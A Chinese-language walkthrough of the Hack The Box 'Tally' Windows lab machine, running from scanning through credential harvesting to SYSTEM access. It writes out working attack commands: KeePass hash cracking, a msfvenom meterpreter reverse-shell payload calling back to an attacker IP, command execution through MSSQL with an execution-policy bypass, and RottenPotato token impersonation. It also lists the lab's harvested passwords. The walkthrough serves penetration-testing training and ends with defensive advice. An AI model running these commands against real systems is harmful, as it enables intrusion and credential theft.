HTB:Tally渗透测试
字数 1355 2025-08-13 21:33:27
HTB: Tally渗透测试教学文档
1. 靶机概述
Hack The Box是一个在线渗透测试平台,Tally是一台模拟真实环境的Windows靶机,包含多种服务如IIS、SMB、FTP和MSSQL等,适合练习综合渗透测试技能。
2. 信息收集阶段
2.1 基础扫描
- 靶机IP: 10.10.10.59
- 使用Nmap进行全面扫描:
nmap -sS -sV -A -O 10.10.10.59 -o xb.log - 发现重要服务:
- 80端口: IIS服务
- 445端口: SMB服务
- 21端口: FTP服务
2.2 网站目录扫描
使用Gobuster进行目录扫描:
gobuster dir -w /usr/share/dirb/wordlists/vulns/sharepoint.txt -u http://10.10.10.59/
发现重要目录:
- /sitedirectory/_layouts/viewlsts.aspx
- /shared documents/forms/allitems.aspx
2.3 获取FTP凭证
- 访问
shared documents/forms/allitems.aspx下载ftp-details文件 - 获得FTP密码:
UTDRSCH53c"$6hys - 访问
/sitedirectory/_layouts/viewlsts.aspx发现用户名:ftp_user
3. 漏洞利用阶段
3.1 FTP访问
使用获取的凭证连接FTP:
ftp ftp_user@10.10.10.59
密码: UTDRSCH53c"$6hys
发现Tim用户下的tim.kdbx文件(KeePass密码数据库)
3.2 破解KeePass数据库
- 使用keepass2john提取哈希:
keepass2john tim.kdbx > Timhash - 使用hashcat破解:
cat -m 13400 Timhash /usr/share/wordlists/rockyou.txt - 获得密码:
simplementeyo
3.3 挂载FTP到本地
curlftpfs 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59' /mnt/ftp
3.4 获取SMB凭证
- 使用KeePassXC打开数据库,获取:
- 用户:
Finance - 密码:
Acc0unting
- 用户:
- 访问SMB共享:
smbclient -U Finance -L 10.10.10.59 - 访问ACCT共享发现MSSQL凭证:
- 数据库用户:
sa - 密码:
YE%TJC%&HYbe5Nw
- 数据库用户:
- 在
\zz_Migration\Binaries\New folder\发现tester.exe - 使用strings查看获取另一组MSSQL凭证:
- UID:
sa - PWD:
GWE3V65#6KFH93@4GWTG2G
- UID:
4. 提权阶段
4.1 获取初始Shell
- 生成PowerShell反向Shell:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.15 LPORT=5555 -f psh-reflection -o xiaobai.ps1 - 通过FTP上传到靶机
- 使用MSSQL执行命令:
use auxiliary/admin/mssql/mssql_exec set RHOSTS 10.10.10.59 set PASSWORD GWE3V65#6KFH93@4GWTG2G set CMD "powershell -ExecutionPolicy bypass -NoExit -File C:\\FTP\\Intranet\\xiaobai.ps1" run
4.2 权限提升
- 使用Incognito模块和RottenPotato提权
- 查看可用特权:
getprivs - 执行RottenPotato:
execute -Hc -f C:\\Users\\Sarah\\Desktop\\rottenpotato.exe - 查看令牌:
list_tokens -u - 模拟SYSTEM令牌:
impersonate_token "NT AUTHORITY\\SYSTEM" - 成功获取系统权限,可读取root.txt
5. 总结与关键点
- 信息收集是关键:通过目录扫描、源代码查看和文件下载获取初始凭证
- 凭证重用:FTP凭证→KeePass数据库→SMB凭证→MSSQL凭证的连锁利用
- 横向移动:利用MSSQL执行系统命令实现权限提升
- 提权技巧:使用RottenPotato进行令牌模拟获取SYSTEM权限
- 真实环境模拟:展示了企业环境中常见的凭证管理和服务配置问题
6. 防御建议
- 避免凭证重用,为不同服务使用不同密码
- 限制数据库账户权限,避免使用sa账户执行系统命令
- 定期审计共享文件和目录权限
- 实施最小权限原则
- 监控异常进程执行和网络连接
此靶机完整展示了从信息收集到系统权限获取的完整渗透流程,强调了凭证管理和服务配置安全的重要性。